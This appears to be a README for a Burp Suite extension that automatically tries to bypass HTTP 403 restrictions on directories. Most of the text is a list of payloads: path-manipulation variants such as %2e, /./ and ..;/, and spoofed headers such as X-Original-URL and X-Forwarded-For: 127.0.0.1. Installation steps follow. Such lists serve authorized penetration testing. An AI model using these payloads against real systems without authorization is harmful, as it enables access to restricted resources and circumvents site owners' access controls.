An burpsuite extension to bypass 403 restricted directory. By using PassiveScan (default enabled), each 403 request will be automatically scanned by this extension, so just add to burpsuite and enjoy.
Payloads: $1: HOSTNAME $2: PATH
$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
$1/./$2/./
$1/$2 -H "X-Original-URL: /$2"
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1"
$1/$2 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwared-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/
Thanks @lohubi for contributing many payloads.
BurpSuite -> Extender -> Extensions -> Add -> Extension Type: Python -> Select file: 403bypasser.py -> Next till Finish
